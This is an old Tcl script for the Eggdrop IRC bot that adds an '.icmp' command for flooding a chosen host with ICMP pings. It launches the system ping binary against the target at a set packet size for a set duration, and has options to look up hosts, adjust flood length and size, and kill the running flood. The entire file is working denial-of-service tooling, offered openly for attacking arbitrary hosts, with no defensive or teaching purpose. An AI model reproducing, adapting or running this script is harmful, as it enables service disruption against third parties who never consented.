set icmp 1
set count 300
set size 3600
set binary 1

############################################################################
####    Nothing more to edit below this line, type ".icmp" for help.    ####
############################################################################

set pingver 2.12
if ![info exists pinging] {set pinging 0}
if ![info exists enable] {set enable $icmp} {set icmp $enable}

bind dcc m icmp dcc_icmp

proc dcc_icmp {hand idx args} {
  global icmp count size binary enable
  global pinging pinger pinghost lastping pingver

  # Making this script newbie proof..
  set args [lindex $args 0]
  if {($icmp != 1) && ($icmp != 0)} {set icmp 1}
  if {[string trim $count 0123456789] != ""} {set count 300}
  if {$count < 1} {set count 300}
  if {[string trim $size 0123456789] != ""} {set size 3600}
  if {($size < 24) || ($size > 24372)} {set size 3600}
  if {($binary != 1) && ($binary != 0)} {set binary 1}
  if ![info exists lastping] {set lastping none}

  # Option: Help
  if {[lindex $args 0] == ""} {
    putcmdlog "#$hand# icmp"
    putdcc $idx "  Usage: icmp <dns/ip>      - ICMP Flood a Host"
    putdcc $idx "              -l <dns/ip>   - Lookup a Host"
    putdcc $idx "              -c <secs>     - Set ICMP Length"
    putdcc $idx "              -s <bytes>    - Set Ping Size"
    putdcc $idx "              -t            - Toggle ICMP on/off"
    putdcc $idx "              -r            - Mini Status Report"
    putdcc $idx "              -k            - Stop ICMP Flooding"
    putdcc $idx "              -v            - Version"
    if {$pinging == 0} {
      putdcc $idx "   Ping: -c $count -s $size"
      putdcc $idx "   Last: $lastping"
      if {$icmp == 1} {putdcc $idx " Status: Ready to ICMP."}
      if {$icmp == 0} {putdcc $idx " Status: Disabled."}
      return 0
    }
    if {$pinging == 1} {
      foreach p [utimers] {
        if {[lindex $p 1] == "icmp_utimer"} {
          putdcc $idx " Status: [lindex $lastping 0] is Flooding $pinghost."
          putdcc $idx "         [lindex $p 0] seconds left."
          return 0
        }
      }
    }
  }

  # Option: Lookup a Host
  if {[lindex $args 0] == "-l"} {
    putcmdlog "#$hand# icmp -l [string tolower [lindex $args 1]]"
    if {[lindex $args 1] == ""} {
      putdcc $idx "Usage: icmp -l <dns/ip>"
      return 0
    }
    if {[catch {exec [exec which host] 127.0.0.1}] != 0} {
      putdcc $idx "Sorry, this shell does not support host."
      return 0
    }
    putdcc $idx "Looking up [lindex $args 1]..."
    if {[catch {exec [exec which host] [lindex $args 1]}] != 0} {
      putdcc $idx "Sorry, [string tolower [lindex $args 1]] does not exist."
      return 0
    }
    set lookup [open "|[exec which host] [lindex $args 1]" r]
    while ![eof $lookup] {
      catch {set result [gets $lookup]}
      if [eof $lookup] {break}
      putdcc $idx "$result"
    }
    catch {close $lookup}
    unset lookup
    unset result
    return 0
  }

  # Option: Set ICMP Length
  if {[lindex $args 0] == "-c"} {
    if {[lindex $args 1] == ""} {
      putdcc $idx "ICMP Length is $count seconds."
      return 0
    }
    if ![matchattr $hand n] {
      putdcc $idx "Sorry, you must be an owner to do that."
      return 0
    }
    if {[string trim [lindex $args 1] 0123456789] != ""} {
      putdcc $idx "Sorry, [lindex $args 1] is not Numeric."
      return 0
    }
    if {[lindex $args 1] < 1} {
      putdcc $idx "Sorry, Number must be Greater than 1."
      return 0
    }
    set count [lindex $args 1]
    putcmdlog "#$hand# icmp -c $count"
    putdcc $idx "ICMP Length is now $count seconds."
    return 0
  }

  # Option: Set Ping Size
  if {[lindex $args 0] == "-s"} {
    if {[lindex $args 1] == ""} {
      putdcc $idx "Ping Size is $size data bytes."
      return 0
    }
    if ![matchattr $hand n] {
      putdcc $idx "Sorry, you must be an owner to do that."
      return 0
    }
    if {[string trim [lindex $args 1] 0123456789] != ""} {
      putdcc $idx "Sorry, [lindex $args 1] is not Numeric."
      return 0 
    }
    if {([lindex $args 1] < 24) || ([lindex $args 1] > 24372)} {
      putdcc $idx "Sorry, [lindex $args 1] is an Invalid Ping Size."
      return 0
    }
    set size [lindex $args 1]
    putcmdlog "#$hand# icmp -s $size"
    putdcc $idx "Ping Size is now $size data bytes."
    return 0
  }

  # Option: Toggle ICMP on/off
  if {[lindex $args 0] == "-t"} {
    if ![matchattr $hand n] {
      putdcc $idx "Sorry, you must be an owner to do that."
      return 0
    }
    if {$icmp == 1} {
      set icmp 0
      set enable 0
      putcmdlog "#$hand# icmp -t off"
      putdcc $idx "ICMP is now disabled."
      return 0
    }
    if {$icmp == 0} {
      set icmp 1
      set enable 1
      putcmdlog "#$hand# icmp -t on"
      putdcc $idx "ICMP is now enabled."
      return 0
    } 
  }

  # Option: Mini Status Report
  if {[lindex $args 0] == "-r"} {
    if {$pinging == 0} {
      if {$icmp == 1} {putdcc $idx "Ready to ICMP."}
      if {$icmp == 0} {putdcc $idx "ICMP is Disabled."}
      return 0
    }
    if {$pinging == 1} {
      foreach p [utimers] {
        if {[lindex $p 1] == "icmp_utimer"} {
          putdcc $idx "Flooding $pinghost ([lindex $p 0]s left)."
          return 0
        }
      }
    }
  } 

  # Option: Stop ICMP Flooding
  if {[lindex $args 0] == "-k"} {
    foreach p [utimers] {
      if {[lindex $p 1] == "icmp_utimer"} {
        killutimer [lindex $p 2]
        catch {exec kill -9 $pinger}
        set pinging 0
        putcmdlog "#$hand# icmp -k $pinghost"
        putdcc $idx "Stopped ICMP Flooding $pinghost."
        unset pinger
        unset pinghost
        return 0
      }
    }
    putdcc $idx "Not Currently ICMP'ing."
    return 0
  }

  # Option: Version
  if {[lindex $args 0] == "-v"} {
    putcmdlog "#$hand# icmp -v"
    putdcc $idx "ICMP v$pingver by EraseMe <pyro@imag.net>"
    putdcc $idx "Copyright (c)1996-97, Alon Goldberg"
    putdcc $idx "ftp.sodre.net /pub/eggdrop/scripts1.0/icmp$pingver.tcl.gz"
    return 0
  }

  # Check: Make sure the option is valid.
  if {[string index [lindex $args 0] 0] == "-"} {
    putdcc $idx "Invalid option."
    putdcc $idx "Type \".icmp\" for more help."
    return 0
  }

  # Check: Am I currently flooding?
  if {$pinging == 1} {
    putdcc $idx "Currently ICMP Flooding $pinghost, try again later."
    return 0
  }

  # Check: Is ICMP enabled?
  if {$icmp == 0} {
    putdcc $idx "Sorry, ICMP is Currently Disabled."
    return 0
  }

  # Check: Binaries (which/ping/host).
  if {$binary == 1} {
    putdcc $idx "Checking binaries..."
    if {[catch {exec which which}] != 0} {
      putdcc $idx "Sorry, this shell does not support which."
      return 0
    }
    if {[catch {exec [exec which ping] -c 1 127.0.0.1}] != 0} {
      putdcc $idx "Sorry, this shell does not support ping."
      return 0
    }
    if {[catch {exec [exec which host] 127.0.0.1}] != 0} {
      putdcc $idx "Sorry, this shell does not support host."
      return 0
    }
  }

  putlog "Looking up host..."

  # Check: Look up host.
  if {[catch {exec [exec which host] [lindex $args 0]}] != 0} {
    putdcc $idx "Sorry, [string tolower [lindex $args 0]] does not exist."
    return 0
  }

  # Welcome to the New World Order.
  set pinghost [string tolower [lindex $args 0]]
  set lastping "$hand flooded $pinghost on [ctime [unixtime]]."
  set pinging 1
  set pinger [exec [exec which ping] -c $count -i 1 -s $size $pinghost &]
  utimer $count icmp_utimer
  putcmdlog "#$hand# icmp $pinghost"
  putdcc $idx "Now ICMP Flooding $pinghost (for $count\s)."
  return 0
}

proc icmp_utimer {} {
  global pinging pinger pinghost
  catch {exec kill -9 $pinger}
  set pinging 0
  putlog "ICMP Flood to $pinghost has completed."
  unset pinger
  unset pinghost
}

putlog "ICMP v$pingver by EraseMe Loaded Successfully."
if {$pinging == 1} {putlog " - Currently ICMP Flooding $pinghost."}
